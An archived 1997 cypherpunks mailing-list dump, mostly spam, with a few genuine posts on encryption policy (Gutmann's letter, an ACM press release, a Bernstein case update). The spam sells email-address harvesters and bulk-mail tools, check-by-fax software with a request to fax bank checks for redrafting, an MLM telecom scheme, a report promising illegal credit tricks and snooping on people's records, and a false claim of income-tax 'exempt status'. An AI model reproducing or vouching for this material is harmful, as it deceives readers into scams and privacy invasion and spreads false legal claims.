OVER 250 REPRINT AND RESELL RIGHTS REPORTS YOU CAN START TO MARKET
AND MAKE MONEY IMMEDIATELY!!! 

     These HOT sellers include: 
     1) How to Get a Top Rating in the Search Engines 
     2) 70 Money Making Reports 
     3) 75 MONEY MAKING PLANS & TRADE SECRETS and MUCH MUCH MORE!!!         ($200 RETAIL VALUE - FREE!!!) 


***SPECIAL BONUS #3***

With your two software programs, you will also receive our NEW "Address Grabber" utility program that enables you to grab 100's of THOUSANDS of email addresses from
newsgroups in minutes ($100 RETAIL VALUE - FREE).


***SPECIAL BONUS #4***

RECEIVE CHECKS BY EMAIL, PHONE OR FAX MACHINE. With this software
program, you can receive payment for your product or service INSTANTLY!!
There is no more waiting for your customers chec to arrive. This
software will no doubt, add to your sales, for customers who
don't have credit cards, as well as the impulse buyers.

With this software, you can print up your payments as soon as your
customer gives you his/her checking information. You will then
add the information given, to the proper blank check spaces, then
just print and go to the bank!!

         ***************************************************

To get your FREE demo and "test drive" our state-of-the-art software, visit our newly renovated web page at:
             
                  http://www.t-1net.com/floodgate      		

         ****************************************************

              HURRY ... RESERVE YOURS TODAY! 

So, if you are interested in taking advantage of the most powerful bulk email software
in the world and start making money hand over fist.....

Print out the EZ ORDER form below and FAX or MAIL it to our office.

If you have any questions don't hesitate to call us at: 1-954-341-2924

SYSTEM REQUIREMENTS

386 or larger
Windows 95 OR Windows 3.1 with 8 meg ram
Extra 5 MB hard drive space

Floodgate & Goldrush can be run on a fast Mac with 24 MB RAM and SoftWindows.

NOTES FROM SATISFIED USERS

"It is everything you said it was. Within one week of my first mailing, I received a record number of orders. All you need to print money is a decent sales letter. Thanks." Randy albertson, Wolverine Capital.

"After using Floodgate and your utility program all day today, let me say these are as two of the finest programs I have ever bought in my 52 years! Your support has been superb. Thank You!" Vernon Hale, Prime Data Systems

"My first day and I just used Floodgate and Pegasus to send 1,469 sales letters. So far I've got about 25 positive responses. It works GREAT!!! Thanks." Donald Prior

"Floodgate is awesome!. I recently started a new business on-line. I stripped the addresses of the AOL & CIS classifieds. I sent out 3,497 email letters and got over 400 people to join my company in 5 days! Needless to say, it pays for itself." David Sheeham, OMPD

"I was able to use Floodgate to extract the names from the Internet news groups. It works perfectly. Needless to say, I am very excited about the use of this new technology." Mark Eberra, Inside Connections

"This is a great piece of software and an invaluable marketing tool." Joe Kuhn, The Millennium Group

"I just thought you'd like to know that this program is fantastic. After loading it on my system, I wanted to test it out. In my first hour of using this, I collected 6,092 email addresses!" Richard Kahn, LD Communications

"I just love the Floodgate program. It saves me hours and hours of time. This is the beginning of a wonderful FUN time marketing on-line. Thank you so much for writing this program." Beth O'Neill, Eudora, KS

"Your software is brilliant, and from the technical support I've received, I can see you have a genuine love and respect of people...Floodgate is a divine package. Wish I had found it sooner." Tom Sanders, Peoria, IL

"I really like the way the Floodgate software package works. It is very easy to use, and really does the trick. It has already saved me an incredible amount of time and energy." John Berning, Jr., Fairfield, NJ

"It's going great with FLOODGATE! I like using Delphi. I just collected 50,000+ addresses within 20 minutes on-line." Richard Kahn, R&B Associates

-------------------------------------------------
E-Z ORDER FORM:

Please print out this order form and fill in the blanks......
Please send order form and check or money order, payable to:

Dave Mustachi
P.O. Box 772261
Coral Springs, FL 33077-2261
(954) 341-2924


______Yes! I would like to try your cutting-edge software so that I can advertise my business to thousands of people on-line whenever I like! I understand that I have 10 days to trial the 
software. If I am not fully delighted, I will 
cheerfully be refunded the purchase price, no
questions asked! Please rush me the FLOODGATE and GOLDRUSH package now!

______I am ordering within 72 hours! That qualifies me to receive the FLOODGATE and GOLDRUSH package at a substantial discount! I am ordering BOTH software packages for only $349.95. (Save $150 off the retail price....Software has sold for as much as $2,499.95)

______I am ordering within 72 hours! That qualifies me to receive free lifetime technical support.

______I want to receive the package OVERNIGHT. I'm including $18.00 for shipping charges.

______I want to receive the package 2nd DAY. I'm including $3.00 for shipping charges.

______I am also interested in purchasing a "bomb-proof" email
address and Web page to use in my marketing letter and 
NEVER HAVE TO WORRY ABOUT LOSING MY ISP. The cost of this service
is ONLY $70 per month. If you're interested in this service, PLEASE
contact David Taylor, Taylor Made Communications, 915-550-3039.

(CHECKS: ALLOW 1 WEEK FOR BANK CLEARANCE)


YOUR NAME_________________________________________________

COMPANY NAME_________________________________________________

YOUR POSITION_____________________________________________

STREET ADDRESS______________________________________________

CITY, STATE, ZIP__________________________________________________

PHONE NUMBERS_______________________________________________

FAX NUMBERS_______________________________________________

EMAIL ADDRESSES_____________________________________________

We accept Checks or Money Orders by mail.

I agree to pay Dave Mustachi an additional $29 fee if my check is returned for insufficient or uncollectable funds.

SIGNATURE: X________________________________DATE:_______________

Please send all order forms and check or money order to payable to:

Dave Mustachi
P.O. Box 772261
Coral Springs, FL 33077
(954) 341-2924


***************************************************

OR:

PLEASE PASTE YOUR CHECK HERE

(If you fax a check, there is no need for you to send the original check by mail. We will draft up a new check, with the exact information from your original check that you faxed to us)

Please fax the above order form and check to: 1-954-255-3713

</FONT><FONT  COLOR="#000000" SIZE=3>





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: opportunities@spfcorp.com
Date: Mon, 8 Sep 1997 12:22:55 -0700 (PDT)
To: opportunities@spfcorp.com
Subject: Equipment Financing Broker Oppt'y
Message-ID: <199709081931.PAA13191@qlink2info.qlink2info.com>
MIME-Version: 1.0
Content-Type: text/plain



 Cyber-Preneur

                                                              No Investment

                          Commercial Equipment Financing Broker -  Big $'s !!!

                                     Is Now  Available For Your Consideration

   This Fantastic Home-Based Business Opportunity Offers Six Figure Potential,
                    Repeat Business, Huge Market, Strong Company Support.
                                               
                          Be Your Own Boss -  No Broker License Is Needed.

             We Have A Simple, Straight Forward  On Line Training Program.

                     Work Anywhere In The Country.  Prosper With Winners!

                                  For Exciting Details, Please Visit This Page
                      http://www.spfcorp.com/Prosperity-Through-Unity.html


Thank You For Your Time
Alan Alvarez
President
South Pointe Financial Corp
Tel: 305-870-0710

To avoid future mailings please type "Remove" 
in the subject box & email it back to us.





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: The.Givers
Date: Tue, 9 Sep 1997 17:58:21 -0700 (PDT)
To: friends@public.com
Subject: Take a chance and WIN!
Message-ID: <199709100057.RAA04615@toad.com>
MIME-Version: 1.0
Content-Type: text/plain


If you would like to enter for a chance to win $40,000 in cash, a 1997 Corvette, 
or a 1997 Tahoe winners choice... (State Registration #07865)

Please click here <http://www.givers.org>

Thank you for your time.
The Givers Foundation (Charity Raffle)




From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: lionsroar@ascella.net
Date: Thu, 11 Sep 1997 13:54:24 -0700 (PDT)
To: (Recipient List Suppressed)
Subject: Program Makes Believers Of Skeptics!
Message-ID: <0000000000.AAA000@ascella.net>
MIME-Version: 1.0
Content-Type: text/plain


                    $6,000 In 10 Days!

PROVEN MAIL ORDER PLAN, makes believers of skeptics! This
is not MLM, nor is it betting or stocks. Not a chain letter
scheme nor a 900 number business. Simple, easy to operate,
small business program, that you can easily add to your
existing programs or start your first home based business.
Includes everything you need to get started.

This is opportunity knocking ...don't pass it by. This is risk
free with our 30 day money-back guarantee! For more no
obligation details, click here:

http://www.ascella.net/lionsroar/index.html

Thank you for your time.
===================================================
                 REMOVE INSTRUCTIONS
   This is a direct emailing. As a member of the
Online Marketeers Association, we do not wish to
send you commercial emails if you don't want them.
If you would like to be removed from our inhouse
list, please click on this link:

    mailto:lionsroar@ascella.net?subject=remove

(or simply hit reply and type remove in the subject
field). Your email address will be removed
immediately from our list. Your email address will
also be submitted to the master remove list of the
Online Marketeers Association. 
 * Promote Responsible Direct Commercial Emailing *
          * Have A Nice Mail Order Day *
===================================================





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: brandy212@hotmail.com
Date: Mon, 8 Sep 1997 12:24:07 -0700 (PDT)
To: brandy212@hotmail.com
Subject: XXXX 1800 Free Sex Sites..Go 4 Free
Message-ID: <0000000000.AAA000@hotmail.com>
MIME-Version: 1.0
Content-Type: text/plain


Go Here  http://38.216.110.212  One Pass Gets 1800 Sites!!!!!

Stop paying to get into Adult Sites.  This secret password gets
you into them for FREE!!!  

Also get FREE UNLIMITED Live Video Sex and FREE XXX
rated chat room access.  

Stop paying to get into Adult Sites.  This secret password gets
you into them for FREE!!!  

I posted all the info at the URL below.







From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: John Gilmore <gnu@toad.com>
Date: Tue, 9 Sep 1997 11:51:16 -0700 (PDT)
To: bernstein-announce
Subject: Government has appealed the Bernstein case to the 9th Circuit
Message-ID: <199709091834.LAA01198@toad.com>
MIME-Version: 1.0
Content-Type: text/plain


No great surprise.  We have received their Notice of Appeal.  We'll
scan it in and put it on the Web as soon as possible.  Only Lee Tien
has seen it yet, and he didn't mention anything exceptional in it.

Soon in http://www.eff.org/pub/Privacy/ITAR_export/Bernstein_case/Legal/

	John




From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Firefly <welcome@welcome.firefly.com>
Date: Thu, 11 Sep 1997 07:25:00 -0700 (PDT)
To: userlistb@welcome.firefly.com
Subject: Firefly Welcome
Message-ID: <199709091449.OAA05683@welcome.firefly.com>
MIME-Version: 1.0
Content-Type: text/plain


-----------------
Welcome to Firefly:

Thank you for becoming a Firefly Passport holder and a member of our
community.

Every month we'll be updating you on what Firefly is up to and the latest
benefits of your Firefly Passport.  We'll even point out the people you can
meet and places you can experience in a way that is completely personalized
for you.

Here are September's highlights:

- BARNESANDNOBLE.COM goes live with personalized book recommendations.  Get
a SNEAK PREVIEW and your own recommendations at
<http://members.barnesandnoble.com/books>.

- PERSONALIZATION WITH PRIVACY: Find out more about OPS, a standard for
supporting web privacy proposed by Firefly, Netscape, and Microsoft, in the
OPS resource center <http://www.firefly.net/OPS/index.html>.

- TEST DRIVE new applications showcasing Firefly technology in the Studio
<http://www.firefly.net/studio/index.html>.

- CHECK OUT the latest news on our products at
<http://www.firefly.net/Home.html>, currently being used by companies like
Barnes & Noble, Yahoo!, and Ziff-Davis.

Firefly firmly believes that you are in control.  If at any time you want
to remove yourself from this mailing list, simply send an email to
unsubcribe@welcome.firefly.com with "unsubscribe" in the subject line.

Looking forward to seeing you online.

Sincerely,

Pamela LaTulippe
Director, Customer Support
Firefly





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: pgut001@cs.auckland.ac.nz (Peter Gutmann)
Date: Mon, 8 Sep 1997 20:58:43 -0700 (PDT)
To: cryptography@c2.net
Subject: Re: Infoworld and Denning's study
Message-ID: <87377748221122@cs26.cs.auckland.ac.nz>
MIME-Version: 1.0
Content-Type: text/plain


 
>Infoworld NZ has just published an awful article (written by US reporter Sari 
>Kalin and titled "Criminals Eyeing Encryption"), which emphasises repeatedly 
>that encryption is a major problem just waiting to happen, using Dorothy 
>Dennings report as a basis.  This represents a rather ugly way to interpret 
>the report (and, presumably, an attempt by the USG to recover something from 
>a report which was supposed to come down firmly in favour of crypto 
>restrictions but didn't).  
 
Due to the late hour I got that wrong, it's Computerworld NZ, not Infoworld 
(slight difference in naming).  Even later last night I wrote a letter to the 
editor which, I gather, will appear in the next issue.  I've included it below 
in case anyone finds it useful, it's written for a general audience who 
probably aren't aware of the deeper issues apart from the fact that the USG 
has a peculiar attitude towards crypto, due to length constraints I couldn't 
go into too much detail.  If you feel the need to circulate this, please don't 
do so until after next Monday when it's officially published.
 
Peter.
 
-- Snip --
 
The article "Crims eyeing encryption" in the September 9 Computerworld 
presents an extremely peculiar view of the study "Encryption and Evolving 
Technologies in Organised Crime and Terrorism".  The final conclusion of the 
study was that there is no real "encryption problem" which justifies placing 
limitations on the use of encryption, and yet the article, by more or less 
ignoring the conclusion and concentrating instead on a number of 
scaremongering quotes, manages to create exactly the opposite impression.  To 
understand what's involved here, it might be useful to know a bit about the 
background of the study.
 
For a number of years the US government has held that it needs to strongly 
restrict peoples access to encryption.  They can't actually provide you with 
any supporting facts for this because they're all classified, but if they were 
allowed to tell you, they're certain you'd agree with them.  Now over the 
years they came to the realisation that people weren't really buying this 
argument, and so they decided to create a study which would provide proof, 
once and for all, that they were right.  The two people who worked on this 
study were Dorothy Denning, virtually the only supporter of the US governments 
policy apart from the US government itself, and a vice-president of SAIC, a 
large defence contractor.
 
They toiled away for quite some time, and finally announced their results a 
month or two back.  Unfortunately the findings put them in a rather awkward 
position: Although the study was supposed to provide proof that there was some 
sort of "encryption problem" which needed to be countered, it instead showed 
that there wasn't really a problem at all.  Sure, it showed that criminals 
occasionally use encryption, just like criminals also drive cars, eat pizza, 
drink Coke, and (quite probably) read Computerworld.  The important point - 
which was almost completely ignored in the article in favour of running 
scaremongering quotes from a variety of US government officials - was that 
the "encryption problem", the whole reason for the governments' claimed need 
to restrict encryption, by and large didn't exist.
 
It got even worse for the government though.  So convincing was the evidence 
in the study that Denning - for years a very outspoken supporter of their 
policies - did an about-face and declared that she was no longer prepared to 
back government plans for restricting encryption until someone proved to her 
that there was a very good reason for it (this was reported in a number of US 
papers and publications which cover computer issues, so it was reasonably well 
known, eg "Denning unable to confirm FBI Assertions; alters her position" in 
the Mercury News, the largest silicon valley paper).  Although the governments 
star technical witness was unable to find any evidence that their position was 
valid, the Computerworld article, by resorting to selective quoting and 
innuendo, paints a very different, and quite inaccurate, picture.
 
(As a side-note, I find it amusing to read that the government policy relies 
on people handing over their encryption keys to them.  Quite apart from the 
question of why anyone would trust the US government with their keys, there's 
also the small problem that no criminal will ever do this - that's why they're 
criminals after all.  The only ones who'll ever get caught by this cunning 
plan are you and I).
 
-- Snip --
 
(I'm assuming most readers will get the Baldrick/Blackadder reference in the 
last sentence :-).
 





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: apollo@nevwest.com
Date: Wed, 10 Sep 1997 01:09:25 -0700 (PDT)
Subject: BULK EMAIL 101 - How To Make A Fortune In Bulk Email!
Message-ID: <199709100729.AAA22953@flamingo.nevwest.com>
MIME-Version: 1.0
Content-Type: text/plain


BULK EMAIL 101
How to Make A Fortune in Bulk Email

SECRETS OF BULK EMAIL REVEALED
IN THIS POWERFUL NEW PUBLICATION

BUY THIS REPORT AND GET
THE FULL REPRINT AND LICENSE 
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LEARN THE SECRETS...
THEN...
USE THIS REPORT AS YOUR FIRST PRODUCT!

YOU GET ALL THIS:
-- How To Find A Product That Makes Money Fast
-- How To Write A Killer Sales Letter
-- How to Collect Email Addresses From The Internet
-- How To Get Software To Distribute Your Bulk Email
-- How to Use Web Browsers To Increase Your Sales
-- How to Use HTML In An Email
-- How To Use Links To Increase Your Sales
-- How To Determine Your Bulk Email Policy
-- How To Fulfill Orders Fast
-- Bulk Email 101 Link List
-- A List of ISP Companies That Are Bulk Email Friendly
-- FULL REPRINT AND LICENSE RESALE RIGHTS!!

All this for just $29.95!!

This report was written by an internet expert who quit a high-
paying corporate job to make a fortune in bulk email.  This
dynamic publication will open your eyes to the explosive
growth of bulk email marketing!  

Learn how to start your own bulk email company
or make money by promoting products and services for
other companies!

Secrets of the industry are revealed for the first time!
Learn the techniques the pros use to maximize profits
fast.  Start earning money the same week you receive
the report!

Advancements in internet software in the last three years
have made bulk email an incredibly powerful way to 
distribute information to millions of people around the world.
Unlike traditional print advertising email can reside on a 
person's computer long after it is read.  Every possible
detail about a product or service can be included in an email
message!

An email advertisement can take the form of a four line
message with a brief description, or it can be a 2,000
word document that describes the product's size, 
shape, features, instructions, etc. 

There is no limit to how much information that can be included
in an email message.  Understanding this is the key to the 
successful use of email as a marketing tool!

The BULK EMAIL 101 report will show you ways that
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All important technical details are explained in plain 
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********************************************

RUSH $29.95 (CHECK OR MONEY ORDER) TO:

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USA

NAME:______________________________________

ADDRESS:___________________________________

CITY/STATE/ZIP:_____________________________

EMAIL ADDRESS:____________________________

********************************************

The Internet is exploding!
Don't miss out on this once-in-a-lifetime
opportunity!

Order your BULK EMAIL 101 report today!!

*********************************************

Please address all REMOVE requests to:
Apollo@Nevwest.com

*********************************************





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: 30455511@msn.com
Date: Wed, 10 Sep 1997 02:07:08 -0700 (PDT)
To: 25789111@msn.com
Subject: WARNING - Are you being Investigated ?
Message-ID: <>
MIME-Version: 1.0
Content-Type: text/plain





ARE YOU BEING INVESTIGATED????



Learn the Internet tools that are used to investigate you, your 

friends, neighbors, enemies, Employees or anyone else!  My huge 

report "SNOOPING THE INTERNET" of Internet sites will give you...


* Thousands of Internet locations to look up people, credit, 

Social security, current or past employment, Driving records, 

medical information, addresses, phone numbers, Maps to city 

locations...



Every day the media (television, radio, and newspapers) are full 

of stories about PERSONAL INFORMATION being used, traded, and sold 

over the Internet... usually without your permission or knowledge. 

With my report I show you HOW IT'S DONE!!!
	

It's amazing..

	

Locate a debtor that is hiding, or get help in finding hidden assets.



*   Find that old romantic interest.


*   Find e-mail, telephone or address information on just about 

     anyone! Unlisted phone numbers can often be found through 

     some of these sites!!



Perhaps you're working on a family "tree" or history. The Internet 

turns what once was years of work into hours of DISCOVERY & 

INFORMATION.




      Check birth, death, adoption or social security records.


MILITARY

      Check service records of Army, Navy, Air Force or Marine 

      Corps. Find out who's been telling the truth and who's been 

      lying. Perhaps you can uncover the next lying politician!!!
 


FELLOW EMPLOYEES;


* Find out if your fellow employee was jailed on sex charges, or   

  has other "skeletons" in the closet!!



PERFORM BACKGROUD CHECKS;
  
   Check credit, driving or criminal records, Verify income or 

   educational claims, Find out Military history and discipline, 

   previous political affiliations, etc.


YOUR KID'S FRIENDS;


   Find out the background of your children's friends & dates.


WHATS THE LAW? STOP GUESSING!!


* Look up laws, direct from law libraries around the world. Is 

  that new business plan legal?? 




NEW JOB?  NEW TOWN?  NEW LIFE?

   Employment ads from around the world can be found on the 

   Internet. Get a new job and disappear!



The Internet can tell you just about ANYTHING, if you know WHERE 

to look. 



BONUS REPORT!!!!


Check your credit report and use the Internet to force credit 

bureaus to remove derogatory information. My special BONUS REPORT 

included as part of the "SNOOPING THE INTERNET" collection reveals 

all sorts of credit tricks, legal and for "information purposes 

only" some of the ILLEGAL tricks.


Research YOURSELF first!


What you find will scare you.


If you believe that the information that is compiled on you should 

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then. . .

You want to order the SNOOPING THE INTERNET report I've put 

together.


This huge report is WHERE YOU START! Once you locate these FREE 

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links to information search engines!

YOU CAN FIND OUT ANYTHING ABOUT ANYBODY ANY TIME using the Internet!!!!

  1) WE TAKE: AMERICAN EXPRESS <> VISA <> MASTERCARD
 
        TYPE OF CARD  AMX/VISA/MC??____________________
 
        NAME ON CREDIT CARD___________________________
 
       CREDIT CARD #___________________________________
 
        BILLING ADDRESS ________________________________
 
        CITY_____________________________________________
 
        STATE________________ZIP________________________
 
        PHONE INCLUDE AREA CODE______________________
 
        WE WILL BILL 39.95 to your account
 
        SALES TAX (2.90) added to CA residents 
 
  >>> Send $39.95 ($42.85 in CA) cash, check or money order to:
  >>> CASINO CHICO
  >>> Background Investigations Division
  >>> 305 Nord Ave.
  >>> P.O. Box 4191
  >>> Chico, CA 95927-4191


  2) Send the same above requested credit card information to above address. 


   3) Fax the same above credit card information to 916-895-8470

   4) Call phone # 916-876-4285.  This is a 24 hour phone number to          

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 I will RUSH back to you SAME DAY my "SNOOPING THE INTERNET" report!

Log on to the Internet and in moments you will fully understand...

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Lists of resources to find even more information (private

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   Order surveillance equipment (if legal in your state)
  

Send anonymous e-mail
   
Research companies 

Research technology

Locate military records

 
FIND INFORMATION ON CRIMINALS 

   Find Wanted fugitives - perhaps even a close associate!

ABSOLUTE SATISIFACTION GUARANTEED:

Your satisfaction is 100% guaranteed, just return the material
For a full refund within 30 days if you aren't 100% satisfied.


Copyright 1997 All Rights Reserved

R Jon Scott Hall Publications. 



  THIS IS NOT A  FRANK MULLEN / CYBER PRODUCTS / SPYMASTER  PUBLICATION














From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: freebiz@yourhouse.com
Date: Wed, 10 Sep 1997 02:24:40 -0700 (PDT)
To: entrepreneur@yourhouse.com
Subject: FREE BUSINESS INCLUDING OVER $600.00 IN SOFTWARE!
Message-ID: <199709100920.JAA38020@out2.ibm.net>
MIME-Version: 1.0
Content-Type: text/plain


Please pardon the intrusion......

>>>If you find mail such as this offensive I sincerely
apoligize.  Please type REMOVE in the subject heading, 
if you do not type REMOVE, there is no way for you 
to be REMOVED. Thank You.<<<

FREE/_/_FREE/_/_FREE/_/_FREE/_/_FREE/_/_FREE/_/_FREE

                    NO CATCHES!!  NO GIMMICKS!!

I'd like to offer you this UNBELEIVABLE FREE BUSINESS PACKAGE.
This package includes,  the Easiest, Most Rewarding, and Certainly
Most Profitable, Home Based Business Opportunity available today.

This package also includes the World Famous"Freedom",
 Bulk Email Software, which sells for $400.00 or more and
 I will provide it to you for "ABSOLUTELY FREE"! 

  I am also including "CHECKER" another great software provided to you 
for FREE! A $200.00 value!  Checker allows you to receive 
checks by fax, email, or phone!!!

                      BIG, BIG BUSINESS BOOST!

  HOW IS THIS POSSIBLE? 

     I am a member of TEL3, which provides low cost long 
distance service and will soon provide other VERY "CUTTING
EDGE" SERVICES AT THE LOWEST OF RATES! 

   To receive THE FREE "NETBIZ" MARKETING PACKAGE, INCLUDING 
THE "FREE' $400 FREEDOM SOFTWARE, and the $200.00 CHECKER
Software all you need to do is become a member of my organization. 

AGAIN, RELAX, IT'S FREE! 

TEL3  will cost you nothing to join. Your phone bills go 
way down and disappear. Your earnings go up. All at 0 cost 
to you and your group.

   Even if your business is some kind of phone card program.
Every one HAS TO HAVE a 1 plus dialed long distance carrier. 
Why not TEL3?  After all, they are on track to become this Nations
4th largest telecommunications company.

   9.9 Cents Per Min.Long Distance, FLAT RATE! 24 HRS PER DAY
NO CATCHES!! NO REQUIREMENT TO REFER OTHERS!! With TEL3, not
only do you get no-nonsense flat rates as low as 9.9 cents per
minute, you also get a free 800/888 number with the same low 
rate, a no-surcharge, flat-rate calling card, billing with 
your local phone bill, and great international rates!, EVEN
MORE! A Wonderful, Powerful Income Opportunity,


                                 PLUS

               A Wonderful, powerful income opportunity.

                          "IF YOU DESIRE IT"
         
    Welcome to your very own "FREE INTERNET BUSINESS". Please 
take a look at something that cost you nothing, now or ever to
join.  I will not ask you for money to "SAVE MONEY", or 
to work! This is NOT the IRS!  I do offer a great income, If 
you "CHOOSE" to share with those, {That Ask you to!} savings 
on long distance. Again, you or the people you refer never pay
anything, at anytime to market or use TEL3 services. BUT you 
DO RECEIVE INCOME, if you CHOOSE to refer others, WHETHER THEY
REFER OTHERS OR NOT! I have looked at and worked with many 
phone plans over the years. This is by far the best.

   You are about to become a part of the "ONLY GROUP IN THE 
ENTIRE WORLD" THAT HAS THE CAPABILITY TO GIVE THIS SUPER "$400"
Bulk Mail SOFTWARE "ABSOLUTELY FREE" TO YOUR CURRENT AND 
FUTURE BUSINESS ASSOCIATES! PLUS NOW YOU RECEIVE THE NEW 
CHECKER SOFTWARE ALSO "FREE" A $200.00 VALUE!

   "Netbiz" was created by Dale Yancy to Provide marketing 
techniques and materials to guarantee anyone success in 
"Online Marketing". Included in the Netbiz Package among 
many things Is the Freedom Software, and the Checker software
created by Bob Stratton, My Sponsor, who has authorized me to
include the complete and fully operational Freedom Software and 
Checker Software Within My "NETBIZ" Package, EXCLUSIVELY
for Members of my organization.

   We are a SUPER LOW COST Long distance provider you 
will have that Not only provides you with WONDERFUL LOW 
COST LONG DISTANCE, but also Provides you with your OWN 
BUSINESS FOR FREE! 

   RELAX, IT'S FREE!

   You now have the opportunity to be a part of the only 
group "IN THE WORLD" to have such a complete and completely
"FREE" INTERNET BUSINESS! 
 
   YOUR BUSINESS IS ABOUT TO "EXPLODE"! 

   I DO NOT ASK YOU FOR EVEN ONE THIN DIME! 

   Not for "NETBIZ", Not for Freedom, not for Checker and 
Not for joining TEL3! 

   Use Freedom and Checker in the business I provide for you,
use Freedom and Checker in your current business. 

   Use Freedom and Checker in a future business. It's Free! 
It is Yours. 

   You earn constant income with TEL, just sharing the 
savings with others. There is No Cost to anyone to have these
great rates.

   You Earn 2% of the paid phone bill through 8 levels of your
organization. Plus, once your Level 1 billing is $2,500 or more,
you receive 5% on Level 1. Levels 2 through 8 continue to pay 
out 2%. 

   Plus much much more! 

   "NETBIZ" provides you and your group with a complete business
completely FREE! 
 
   "NETBIZ" provides you with a $200.00 Software "Checker" for
"FREE" that you can use in your other businesses to take checks
by fax, email, and phone. Never miss another impulse sale for 
lack of a credit card or time lost in snail mail.

   "NETBIZ" provides you and your group a $400 software for 
"FREE" that allows you to retrieve email addresses from the 
internet. 

   Then you can mail these people a "TEASER" letter that 
"NETBIZ" provides for free. 

   "NETBIZ" provides you with the response letter to send 
back to your inquires after they respond to your ad. 

   "NETBIZ" provides you with a free web page. 

   "NETBIZ" provides you with the copy to place on your 
free web page. 

   "NETBIZ" provides you with Thousands of places on the 
internet to place ads and Links for FREE. 

   "NETBIZ" provides you with the ads to place on these 
thousands of locations. 

   "NETBIZ" provides you with the response letter for all
ad inquires. 

   "NETBIZ" provides you with thousands of places to link 
with your web page. 

   "NETBIZ" provides you with a great response letter to send
to people that send you unsolicited email. 

   This will get you great people that are already interested
in marketing on the internet, and already are. 

   They will bring large numbers of people with them. 

   Best of all, Netbiz directs you to the "Autopilots" program,
should you choose even faster and more automated business 
building at a very moderate price.

   START TODAY, FREE! 

 All you need do now, is call TEL3 at 1-888-333-TEL3, 
 Tell customer service you want to join TEL3  under
 Daniel Hait, ID# DH728893 and switch your long distance service.  

Then "Email me" with your Name, Address, Phone Number, E-mail address,
and Your New ID# and request the Netbiz package and unlock code.  I will send you
your Netbiz package and your Freedom unlock code.  

A "Very Bright Future" Starts For You "TODAY"! 

YOU ARE "NOW" IN BUSINESS! That quick, that simple, that easy! 

I look forward to your success,

Daniel B. Hait
Integrity Enterprises, Ltd.
Phone: (414) 669-3722 
E-mail: freebiznis@juno.com
Netel ID# DH728893

PS: A PERSONAL TESTIMONIALS
I have signed up 16 people in as many days using this program!
I have belonged to another telecom program and only 1 signup 
after 2 months. Giving away Free software that benifits the
buisness is GREAT!             Charles Blaisdell


Within 1 hour of me mailing the above letter out to recepients, I had 
3 people sign up for this business.  Within 4 days I had 8 people sign up.
By the end of the week I had 14 people on my 1st level and 3 on my second.
I didn't have to have any personal contact with them whatsoever. I'm at the 
end of my second week and I have over 25 people.  TEL3  Did it all!      
                                            Daniel Hait

PSS: I am providing a secret site to all in my downline that
has links to over 1,600 places to advertise for FREE!

PPSS:  As a final added bonus, you will receive the URL address
containing over 50 MILLION email addresses!!

                         HOW CAN ANYONE PASS UP AN OPPORTUNITY LIKE THIS????
















From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: ACM US Public Policy Office <usacm_dc@acm.org>
Date: Wed, 10 Sep 1997 03:01:33 -0700 (PDT)
To: list <usacm_dc@acm.org>
Subject: USACM APPLAUDS CALIFORNIA LEGISLATURE
Message-ID: <v03110704b03c203ab0f0@[204.91.138.81]>
MIME-Version: 1.0
Content-Type: text/plain



PRESS RELEASE

Association for Computing
U.S. Public Policy Office

September 8, 1997

USACM APPLAUDS CALIFORNIA LEGISLATURE FOR UNANIMOUSLY
ENDORSING RELAXED EXPORT CONTROLS ON ENCRYPTION


As the Congress prepares to address the issue of computer
security and privacy, the California legislature has sent
a clear message that relaxing controls on cryptography is
a critical first step.

On September 5, the California legislature passed a
resolution that calls on the California members in
Congress to support legislation that would make it easier
for US companies to develop and market strong cryptography
products. The resolution was sponsored by Representative
Vasconcellos (D. San Jose) and passed without opposition.

Dr. Barbara Simons, chair of the policy committee for
the Association for Computing (USACM), said that the
California resolution makes clear that industry and
users are united in support of good cryptography.

"We believe that Congress should support the Security
and Freedom Act, sponsored by Representative Goodlatte.
The legislation will help protect security and privacy
on the internet. It will be a serious mistake for the
administration to oppose the development of this
technology," said Dr. Simons.

On August 26, USACM Chair Barbara Simons spoke in support
of the Vasconcellos resolution before a California Senate
committee. Also participating at the Committee hearing were
Dr. Whit Diffie from Sun, Kelly Blough from PGP, Jack Wilson of
ACL Datacom, Chuck Marson representing the California Internet
Industry Alliance (Netscape, Microsoft, AOL, CompuServe and
 Netcom), and a representative of the Software Publishers
Association.  Undersecretary of Commerce Reinsch wrote a
letter opposing the resolution.

The Association for Computing (ACM) is an international non-profit
educational and scientific society with 76,000 members worldwide,
 60,000 of whom reside in the U.S.  USACM, the Association for
Computing's U.S. Public Policy Office, serves as the focal point
for ACM's interaction with U.S. government organizations,
 the computing community and the U.S. public in all matters of
U.S. public policy related to information technology. The USACM
web site is located at http://www.acm.org/usacm/

For more information, please contact USACM Chair Barbara Simons at
408/256-3661 or USACM Associate Director Lauren Gelman at 202/544-4859.

/\ /\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/
Association for Computing,             +   http://www.acm.org/usacm/
Office of U.S. Public Policy           *   +1 202 544 4859 (tel)
666 Pennsylvania Ave., SE Suite 302 B  *   +1 202 547 5482 (fax)
Washington, DC 20003   USA             +   gelman@acm.org

To subscribe to the ACM Washington Update, send e-mail to: listserv@acm.org
with "subscribe WASHINGTON-UPDATE name" (no quotes) in the body of the
message.







From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: "Jon D. Luman" <JLuman@futuregate.com>
Date: Thu, 11 Sep 1997 07:25:04 -0700 (PDT)
To: recipients@allnet.com
Subject: Income Tax Reform
Message-ID: <97Sep10.060510-0400_edt.8391-10508+1@pyramid.request.net>
MIME-Version: 1.0
Content-Type: text/plain


A great way to reform the Federal Income Tax is to file and start
enjoying your exempt status (you qualify if born in one of the 50 
states). Then, these taxes will no longer apply to you. If enough people 
